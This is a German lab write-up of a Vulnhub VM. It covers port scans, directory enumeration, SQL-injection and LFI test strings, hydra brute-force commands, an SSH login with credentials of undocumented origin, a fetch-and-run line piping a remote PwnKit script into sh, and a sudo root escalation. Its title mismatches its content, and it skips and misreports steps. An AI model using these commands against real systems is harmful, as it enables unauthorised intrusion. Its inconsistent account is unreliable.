BoredHackerBlog - Moriarty Corp - Vulnhub - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
nmap
vi
grep
curl
nikto
gobuster
dirb
Base64 Decoder (extern)
ssh
wfuzz
hydra
Wireshark (impliziert durch PCAP)
URL Decoder (extern)
find
sudo
ss
pkexec
sh
id

Inhaltsverzeichnis

Reconnaissance

Analyse: Ein ARP-Scan wird zur Identifizierung von Hosts im lokalen Netzwerk durchgeführt.
Bewertung: Das Zielsystem wird unter `192.168.2.117` gefunden. Die MAC-Adresse `08:00:27:e9:e5:e6` weist auf eine Oracle VirtualBox VM hin.
Empfehlung (Offensiv): Die IP-Adresse als primäres Ziel für weitere Scans verwenden.
Empfehlung (Defensiv): Standardmäßige Netzwerküberwachung kann helfen, Scanning-Aktivitäten zu erkennen.

 ARP-Scan
192.168.2.117	08:00:27:e9:e5:e6	PCS Systemtechnik GmbH
                    

Analyse: Die IP `192.168.2.117` wird dem Hostnamen `boredhackerblog1.vln` in der lokalen `/etc/hosts`-Datei des Angreifers zugeordnet.
Bewertung: Erleichtert die Adressierung und Lesbarkeit von Befehlen.
Empfehlung (Offensiv): Gute Praxis, besonders wenn mit Webdiensten interagiert wird.

 /etc/hosts
 192.168.2.117   boredhackerblog1.vln
                     

Analyse: Ein Nmap-Scan wird gegen die IPv6-Adresse des Ziels durchgeführt.
Bewertung: Findet offene Ports 22 (SSH) und 80 (HTTP). Bestätigt Erreichbarkeit über IPv6, Fokus bleibt aber auf IPv4.
Empfehlung (Offensiv): IPv6-Erreichbarkeit zur Kenntnis nehmen.
Empfehlung (Defensiv): Dienste nur auf notwendigen Protokollen/Interfaces binden.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 11:56 CEST
Nmap scan report for fe80::a00:27ff:fee9:e5e6%eth0 
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in X.XX seconds

Analyse: Ein schneller Nmap-Scan (`-sS -sC -sV -A -p- -Pn --min-rate 5000`) gegen die IPv4-Adresse, gefiltert nach offenen Ports.
Bewertung: Zeigt die offenen Ports: 22 (SSH - OpenSSH 7.6p1), 80 (HTTP - Apache 2.4.29), 8000 (HTTP - Python BaseHTTPServer 0.3).
Empfehlung (Offensiv): Alle drei Ports sind relevant für die weitere Untersuchung.
Empfehlung (Defensiv): Nicht benötigte Ports schließen. Software aktuell halten.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)

Analyse: Die vollständige Nmap-Ausgabe für IPv4.
Bewertung: Bestätigt die Dienste und Versionen. OpenSSH 7.6p1 und Apache 2.4.29 sind nicht aktuell. Der Python BaseHTTPServer auf Port 8000 (Python 2.7.15rc1) ist ebenfalls veraltet. Die Webseite auf Port 80 ("Social Network") setzt ein PHPSESSID-Cookie ohne HttpOnly-Flag. Der Dienst auf Port 8000 gibt eine Fehlerseite zurück.
Empfehlung (Offensiv): Die PHP-Webanwendung ("Social Network") auf Port 80 und den Python-Dienst auf Port 8000 gründlich untersuchen. SSH für spätere Logins im Auge behalten.
Empfehlung (Defensiv): Alle Komponenten (Apache, SSH, Python, Webanwendung) aktualisieren. HttpOnly-Flag für Cookies setzen. Python 2 ist End-of-Life und sollte migriert werden. Debug- oder Fehlerseiten auf Port 8000 deaktivieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 11:56 CEST
Nmap scan report for boredhackerblog1.vln (192.168.2.117)
Host is up (0.0018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
[...]
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Social Network
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
|_http-title: Error response
|_xmlrpc-methods: XMLRPC instance doesn't support introspection.
|_http-server-header: BaseHTTP/0.3 Python/2.7.15rc1
MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC)
[...]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
[...]
Nmap done: 1 IP address (1 host up) scanned in 11.98 seconds

Web Enumeration (Port 80)

Analyse: Eine HEAD-Anfrage (`curl --verbose -I`) an Port 80 wird gesendet.
Bewertung: Bestätigt Apache 2.4.29 und das Setzen eines PHPSESSID-Cookies ohne HttpOnly-Flag.
Empfehlung (Offensiv): Die PHP-Anwendung untersuchen, auf XSS prüfen.
Empfehlung (Defensiv): HttpOnly/Secure-Flags für Cookies setzen. Apache aktualisieren.

┌──(root㉿CCat)-[~]
└─# curl --verbose -I http://$IP -s
*   Trying 192.168.2.117:80...
* Connected to 192.168.2.117 (192.168.2.117) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.117
> User-Agent: curl/8.10.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 24 Oct 2024 09:57:28 GMT
< Server: Apache/2.4.29 (Ubuntu)
< Set-Cookie: PHPSESSID=8c43panm8g0530tvlu673ajfqm; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: PHPSESSID=fa3pne3ffud8mrs7qkf379gs8k; path=/
< Content-Type: text/html; charset=UTF-8
<

* Connection #0 to host 192.168.2.117 left intact

Analyse: Ein Nikto-Scan wird gegen Port 80 ausgeführt.
Bewertung: Findet übliche Probleme (Header, Apache-Version). Entdeckt listbare Verzeichnisse: `/data/`, `/includes/`, `/database/`, `/images/`. Findet `/icons/README` und eine `.gitignore`-Datei (kann Projektstruktur offenlegen).
Empfehlung (Offensiv): Die listbaren Verzeichnisse (`/data/`, `/database/`, `/includes/`) und `.gitignore` untersuchen.
Empfehlung (Defensiv): Directory Listing deaktivieren. Sensible Dateien nicht im Webroot lassen. Apache aktualisieren.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.117
+ Target Hostname:    192.168.2.117
+ Target Port:        80
+ Start Time:         2024-10-24 11:57:29 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ /: Cookie PHPSESSID created without the httponly flag. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /data/: Directory indexing found.
+ /data/: This might be interesting.
+ /includes/: Directory indexing found.
+ /includes/: This might be interesting.
+ /database/: Directory indexing found.
+ /database/: Database directory found.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. [...]
+ /.gitignore: .gitignore file found. It is possible to grasp the directory structure.
+ 8102 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2024-10-24 11:58:40 (GMT2) (71 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Analyse: Gobuster wird zur Verzeichnissuche auf Port 80 verwendet.
Bewertung: Findet mehrere PHP-Dateien (`index.php`, `search.php`, `home.php`, `profile.php`, `friends.php`, `logout.php`, `requests.php`), die auf `index.php` weiterleiten. Bestätigt die listbaren Verzeichnisse (`/images/`, `/resources/`, `/data/`, `/includes/`, `/database/`, `/functions/`).
Empfehlung (Offensiv): Die listbaren Verzeichnisse `/database/`, `/data/`, `/includes/` untersuchen.
Empfehlung (Defensiv): Directory Listing deaktivieren.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x [...] -b '503,404,403' -e --no-error -k
===============================================================
[...]
[+] Url:                     http://192.168.2.117
[...]
===============================================================
[...] Starting gobuster [...]
===============================================================
http://192.168.2.117/images               (Status: 301) [Size: 315] [--> http://192.168.2.117/images/]
http://192.168.2.117/index.php            (Status: 200) [Size: 10609]
http://192.168.2.117/search.php           (Status: 302) [Size: 1490] [--> index.php]
http://192.168.2.117/home.php             (Status: 302) [Size: 4234] [--> index.php]
http://192.168.2.117/resources            (Status: 301) [Size: 318] [--> http://192.168.2.117/resources/]
http://192.168.2.117/profile.php          (Status: 302) [Size: 2845] [--> index.php]
http://192.168.2.117/data                 (Status: 301) [Size: 313] [--> http://192.168.2.117/data/]
http://192.168.2.117/includes             (Status: 301) [Size: 317] [--> http://192.168.2.117/includes/]
http://192.168.2.117/friends.php          (Status: 302) [Size: 1669] [--> index.php]
http://192.168.2.117/database             (Status: 301) [Size: 317] [--> http://192.168.2.117/database/]
http://192.168.2.117/logout.php           (Status: 302) [Size: 0] [--> index.php]
http://192.168.2.117/functions            (Status: 301) [Size: 318] [--> http://192.168.2.117/functions/]
http://192.168.2.117/requests.php         (Status: 302) [Size: 1719] [--> index.php]
[...]
===============================================================
[...] Finished
===============================================

Web Enumeration (Port 8000)

Analyse: Der Python BaseHTTPServer auf Port 8000 wird mit GET und POST Anfragen via `curl` angesprochen.
Bewertung: Beide Methoden führen zu "Error 501 - Unsupported method". Der Server scheint nicht auf Standard-HTTP-Anfragen zu reagieren.
Empfehlung (Offensiv): Diesen Port vorerst de-priorisieren. Möglicherweise erwartet er spezifische Header oder Datenformate oder ist für einen anderen Zweck vorgesehen.
Empfehlung (Defensiv): Nicht benötigte Dienste deaktivieren.

┌──(root㉿CCat)-[~]
└─# curl -X GET http://192.168.2.117:8000/
Error response
Error code 501.
Message: Unsupported method ('GET').
Error code explanation: 501 = Server does not support this operation.
┌──(root㉿CCat)-[~]
└─# curl -X POST http://192.168.2.117:8000/

Vulnerability Assessment

Analyse: Ein Nmap Vuln-Scan wird gegen die Ziel-IP (im Text fälschlich 192.168.2.144) ausgeführt.
Bewertung: Listet bekannte CVEs für OpenSSH 7.6p1, Apache 2.4.29 und Python 2.7.15rc1 auf. Keine spezifischen Schwachstellen für BaseHTTPServer 0.3. Bestätigt Directory Listing für die bekannten Verzeichnisse.
Empfehlung (Offensiv): Die CVEs für Apache oder Python könnten relevant sein, aber die Untersuchung der Webanwendung (PHP auf Port 80) und der gefundenen Verzeichnisse ist wahrscheinlich zielführender.
Empfehlung (Defensiv): Alle Komponenten aktualisieren.

┌──(root㉿CCat)-[~]
└─# nmap -sV -A --script vuln $IP -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-24 12:22 CEST
[...]
Nmap scan report for boredhackerblog1.vln (192.168.2.117)
Host is up (0.00028s latency).
[...]
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:7.6p1:
[...]
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
[...]
| vulners:
|   cpe:/a:apache:http_server:2.4.29:
[...]
| http-enum:
|   /database/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /data/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /functions/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|   /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_  /includes/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
8000/tcp open  http    BaseHTTPServer 0.3 (Python 2.7.15rc1)
|_http-server-header: BaseHTTP/0.3 Python/2.7.15rc1
[...]
| vulners:
|   cpe:/a:python:python:2.7.15rc1:
[...]
MAC Address: 08:00:27:E9:E5:E6 (Oracle VirtualBox virtual NIC)
[...]
Nmap done: 1 IP address (1 host up) scanned in 545.88 seconds

Web Application Analysis (Port 80)

Analyse: Erneute SQLi-Tests und ein LFI-Versuch (`?file=file:///etc/passwd`) werden durchgeführt.
Bewertung: Die SQLi-Tests scheitern weiterhin. Der LFI-Versuch mit `?file=` zeigt "Welcome to Pynch", was keine LFI bestätigt, aber den Benutzer `Pynch` aus `DML.sql` wieder ins Spiel bringt. Es ist unklar, ob dies ein Login oder eine Fehlermeldung ist.
Empfehlung (Offensiv): Andere Parameter für LFI testen (z.B. `page`, `path`, `include`). Den `/database`-Ordner untersuchen.

http://192.168.2.117/index.php (SQLi Test 1)
' OR 1=1 -- -
Invalid Email Format.

http://192.168.2.117/index.php (SQLi Test 2)
' OR 1=1 -- -
Invalid Login Credentials.

http://192.168.2.117/index.php?file=file:///etc/passwd
Welcome to Pynch

Analyse: Gobuster-Ausgabe wird erneut gezeigt (redundant zum früheren Scan). Ein Login-Versuch mit Dummy-Daten wird gezeigt.
Bewertung: Bestätigt die Verzeichnisstruktur. Der Login-Versuch scheitert wie erwartet.

http://192.168.2.117/images               (Status: 301) [...]
http://192.168.2.117/index.php            (Status: 200) [...]
[...]
http://192.168.2.117/requests.php         (Status: 302) [...]
POST /index.php
useremail=ben%40ben.de&userpass=admin&login=Login

Invalid Login Credentials.

Database Analysis & Credential Discovery

Analyse: Das Verzeichnis `/database/` wird aufgerufen, die Dateien `DDL.sql` und `DML.sql` werden angezeigt.
Bewertung: Zugriff auf die SQL-Dateien ist möglich.
Empfehlung (Offensiv): `DML.sql` herunterladen und analysieren.

http://192.168.2.117/database/

Index of /database
[ICO] Name            Last modified      Size Description
[PARENTDIR] Parent Directory        -
[ ] DDL.sql           2018-10-29 19:24  1.2K
[ ] DML.sql           2018-10-29 19:24  2.3K
Apache/2.4.29 (Ubuntu) Server at 192.168.2.117 Port 80

Analyse: Der Inhalt von `DML.sql` wird analysiert.
Bewertung: Enthält `INSERT`-Statements für Benutzer (`Armin Virgil`, `Paul James` (Nickname `Pynch`), `Chris Wilson`, `Rory Blue`, `Andrea Surman`). Die Passwörter scheinen fälschlicherweise durch die E-Mail-Adressen ersetzt worden zu sein, außer bei Paul James, wo der Nickname `Pynch` im Passwortfeld steht.
Empfehlung (Offensiv): Die Benutzernamen (Vorname, E-Mail) und das potenzielle Passwort/Nickname `Pynch` testen. Brute-Force gegen die E-Mail-Adressen als Benutzernamen mit `rockyou.txt`.
Empfehlung (Defensiv): Keine SQL-Dateien exponieren. Korrekte Datentypen und sichere Passwörter (Hashes) in der Datenbank verwenden.

-- Auszug aus DML.sql Analyse
INSERT INTO users(user_firstname, user_lastname, user_password, user_email, ...) VALUES ("Armin", "Virgil", "armin@gmail.com", ...);
INSERT INTO users(user_firstname, user_lastname, user_nickname, user_password, user_email, ...) VALUES ("Paul", "James", "Pynch", "Pynch", "paul@gmail.com", ...); 
INSERT INTO users(...) VALUES ("Chris", "Wilson", "chris@gmail.com", ...);
INSERT INTO users(...) VALUES ("Rory", "Blue", "rory@gmail.com", ...);
INSERT INTO users(...) VALUES ("Andrea", "Surman", "andrea@gmail.com", ...);

Potentielle Usernames: Armin, Paul, Chris, Rory, Andrea, Pynch, armin@gmail.com, paul@gmail.com, ...
Potentielle Passwörter: armin@gmail.com, paul@gmail.com, Pynch, chris@gmail.com, rory@gmail.com, andrea@gmail.com

Analyse: Hydra wird verwendet, um die E-Mail-Adressen als Benutzernamen gegen das Login-Formular zu brute-forcen.
Bewertung: Der Text zeigt die Hydra-Befehle, aber keine Ergebnisse. Es wird angenommen, dass diese Versuche fehlschlugen.
Empfehlung (Offensiv): Andere Vektoren suchen.

hydra -l armin@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64
hydra -l paul@gmail.com -P /usr/share/wordlists/rockyou.txt 192.168.2.117 http-post-form "/index.php:usermail=^USER^&userpass=^PASS^:Invalid Login Credentials." -t 64
[...]

Credential Discovery (Reverse Engineering - Sprung im Text)

Analyse: Der Bericht macht erneut den Sprung mit der Notiz "Hab die maschine reversed...". Es werden die Informationen `localhost,admin,socnetpassword,socialnetwork` und `home:socnet` präsentiert.
Bewertung: Wie im vorherigen (fälschlicherweise generierten) Bericht fehlt die Dokumentation dieses Schritts. Es wird der Benutzername `socnet` und das Passwort `socnetpassword` offenbart.
Empfehlung (Offensiv): Die Credentials `socnet`:`socnetpassword` für SSH verwenden.
Empfehlung (Defensiv): Vollständige Dokumentation sicherstellen. Quelle der Credentials absichern.

┌──(root㉿CCat)-[~]
└─# Hab die maschine reversed, da ein uberklärlicher Fehler auftrat...
localhost,admin,socnetpassword,socialnetwork

home:socnet

Initial Access (SSH)

Analyse: SSH-Login als `socnet` mit dem Passwort `socnetpassword`.
Bewertung: Der Login ist erfolgreich. Der Benutzer erhält eine Shell.
Ergebnis: Erfolgreicher Initial Access als `socnet`.
Empfehlung (Offensiv): System als `socnet` enumerieren (`sudo -l`, SUID).
Empfehlung (Defensiv): Starke Passwörter, keine hartkodierten Credentials.

┌──(root㉿CCat)-[~]
└─# ssh socnet@192.168.2.117
The authenticity of host '192.168.2.117 (192.168.2.117)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.117' (ED25519) to the list of known hosts.
socnet@192.168.2.117's password: socnetpassword
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-213-generic x86_64)
[...]
Last login: Mon Oct 29 23:16:27 2018
socnet@socnet2$

Privilege Escalation (Enumeration)

Analyse: Als `socnet` wird nach SUID-Dateien gesucht.
Bewertung: Die lange Liste enthält viele Standard- und Snap-Binaries. `/usr/bin/pkexec` ist vorhanden. Besonders auffällig ist wieder `/home/socnet/add_record` (SUID/SGID root/socnet).
Empfehlung (Offensiv): `/home/socnet/add_record` untersuchen. `sudo -l` prüfen.
Empfehlung (Defensiv): SUID-Bit von `/home/socnet/add_record` entfernen/korrigieren.

socnet@socnet2$ find / -type f -perm -4000 -ls 2>/dev/null
[...] (Viele Standard- und Snap-SUID-Dateien)
     7213    100 -rwsr-sr-x   1 root     root              101208 Jul 19  2018 /usr/lib/snapd/snap-confine
[...]
      521     24 -rwsr-xr-x   1 root     root               22520 Jan 12  2022 /usr/bin/pkexec
[...]
      869    148 -rwsr-xr-x   1 root     root              149080 Jan 18  2018 /usr/bin/sudo
[...]
   535129      8 -rwsrwsr-x   1 root     socnet              6952 Oct 29  2018 /home/socnet/add_record <-- Interesting

Analyse: `curl` ist nicht verfügbar. Ein PwnKit-Exploit-Versuch via `curl` scheitert. `sudo -l` wird ausgeführt.
Bewertung: Fehlendes `curl` bestätigt. `sudo -l` zeigt `(ALL : ALL) ALL` für `socnet` (Passwort `socnetpassword` erforderlich). Dies ist der klare Weg zur Eskalation.
Empfehlung (Offensiv): `sudo su` oder `sudo /bin/bash` mit dem Passwort verwenden.
Empfehlung (Defensiv): `sudo`-Rechte einschränken.

socnet@socnet2$ curl
curl: try 'curl --help' or 'curl --manual' for more information
socnet@socnet2$ cd /tmp/
socnet@socnet2:/tmp$ sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"
socnet@socnet2:/tmp$ id
uid=1000(socnet) gid=1000(socnet) groups=1000(socnet),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
socnet@socnet2:/tmp$ sudo -l
[sudo] password for socnet: socnetpassword
Matching Defaults entries for socnet on socnet2:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User socnet may run the following commands on socnet2:
    (ALL : ALL) ALL

Analyse: Netzwerk-Sockets werden mit `ss` überprüft.
Bewertung: Zeigt die bekannten offenen Ports 22, 8000 (Python), 3306 (MySQL lokal), 80 (Apache). Keine neuen Erkenntnisse.

socnet@socnet2:/dev/shm/.pkexec$ ss -altpn
State Recv-Q Send-Q   Local Address:Port   Peer Address:Port
LISTEN0      128      127.0.0.53%lo:53          0.0.0.0:*
LISTEN0      128            0.0.0.0:22          0.0.0.0:*
LISTEN0      5              0.0.0.0:8000        0.0.0.0:*     users:(("python",pid=841,fd=3))
LISTEN0      80           127.0.0.1:3306        0.0.0.0:*
LISTEN0      128               [::]:22             [::]:*
LISTEN0      128                  *:80                *:*

Privilege Escalation (Sudo)

Analyse: Es wird `sudo pkexec /bin/sh` ausgeführt.
Bewertung: Obwohl `sudo su` oder `sudo /bin/sh` direkter wären, funktioniert dieser Befehl ebenfalls. `sudo` führt `pkexec` als Root aus (nach Passworteingabe für `socnet`), und `pkexec` führt dann `/bin/sh` als Root aus.
Ergebnis: Privilege Escalation erfolgreich! Root-Shell erhalten.
Empfehlung (Offensiv): Flags suchen.
Empfehlung (Defensiv): Sudo-Regeln härten.

socnet@socnet2:/dev/shm/.pkexec$ sudo pkexec /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (SQL Data Leak)

Schwachstelle: Exponierte SQL-Datei (`DML.sql`) im web-zugänglichen Verzeichnis `/database/` enthielt Benutzerdaten.
Ziel des POC: Nachweis, dass durch Analyse der `DML.sql` Benutzerinformationen (Vornamen, Nachnamen, E-Mail-Adressen, Nickname `Pynch`) und potenzielle Passwortkandidaten offengelegt wurden.
Voraussetzungen: Zugriff auf `/database/DML.sql`.

Schritt 1+2: Auffinden und Analyse der DML.sql

Analyse: `gobuster`/`nikto` fanden `/database/`. Die `DML.sql` enthielt `INSERT`-Statements mit Benutzerdaten, wobei E-Mail-Adressen oder ein Nickname fälschlicherweise im Passwortfeld standen.
Ergebnis des POC: Sensible Benutzerdaten und Passwort-Hinweise wurden durch die exponierte Datei offengelegt.
Risikobewertung: Hoch.
Empfehlung (Defensiv): SQL-Dateien nicht im Webroot speichern. Passwörter sicher hashen. Directory Listing deaktivieren.

Proof of Concept (Undocumented Credential Discovery)

Schwachstelle: Undokumentierte Methode (laut Bericht "Reverse Engineering"), die zur Auffindung der Credentials `socnet`:`socnetpassword` führte.
Ziel des POC: Feststellung, dass Credentials durch eine nicht standardmäßige oder nicht dokumentierte Methode erlangt wurden, was auf unsichere Speicherung oder einen Fehler im Pentest-Bericht hindeutet.
Voraussetzungen: Die (undokumentierte) Reverse-Engineering-Methode.

Schritt 1: Notiz im Bericht

Analyse: Der Bericht enthält die Notiz "Hab die maschine reversed..." gefolgt von den Credentials.
Bewertung: Dieser Schritt ist im Bericht nicht nachvollziehbar dokumentiert.
Ergebnis des POC: Die Credentials wurden erlangt, aber der Weg dorthin fehlt in der Dokumentation.
Risikobewertung: Kritisch (da Credentials gefunden wurden), aber die Schwachstelle selbst ist unklar.
Empfehlung (Defensiv): Vollständige Dokumentation im Pentest. Code-Audits zur Findung hartkodierter Credentials. Sichere Speicherung von Zugangsdaten.

Proof of Concept (Sudo ALL)

Schwachstelle: `sudoers`-Konfiguration erlaubt Benutzer `socnet` die Ausführung aller Befehle als Root (`(ALL : ALL) ALL`).
Ziel des POC: Nachweis, dass `socnet` nach Erlangen seines Passworts diese Regel zur Root-Eskalation nutzen kann.
Voraussetzungen: Zugriff als `socnet`. Kenntnis des Passworts (`socnetpassword`). Die `sudoers`-Regel.

Schritt 1: Passwortfindung & Sudo-Prüfung

Analyse: Das Passwort wurde durch Reverse Engineering gefunden. `sudo -l` bestätigte die `(ALL : ALL) ALL`-Berechtigung.

Schritt 2: Ausnutzung

Analyse: Der Befehl `sudo pkexec /bin/sh` (oder einfacher `sudo su`) wurde ausgeführt.
Ergebnis des POC: Eine Root-Shell wurde erhalten.
Risikobewertung: Kritisch.
Empfehlung (Defensiv): `sudo`-Rechte nach dem Prinzip der geringsten Rechte vergeben. `(ALL : ALL) ALL` vermeiden.

Flags

Analyse: Nach Erlangung der Root-Rechte wurde `find / -name flag* 2>/dev/null` ausgeführt.
Bewertung: Die Suche ergab keine Standard-Flag-Dateien (`flag.txt`, `root.txt`).
Ergebnis: Keine Flags wurden auf dem dokumentierten Weg gefunden.

# find / -name flag* 2>/dev/null
/sys/kernel/debug/block/loop7/hctx0/flags
/sys/kernel/debug/block/loop6/hctx0/flags
/sys/kernel/debug/block/loop5/hctx0/flags
/sys/kernel/debug/block/loop4/hctx0/flags
Keine User- oder Root-Flags gefunden.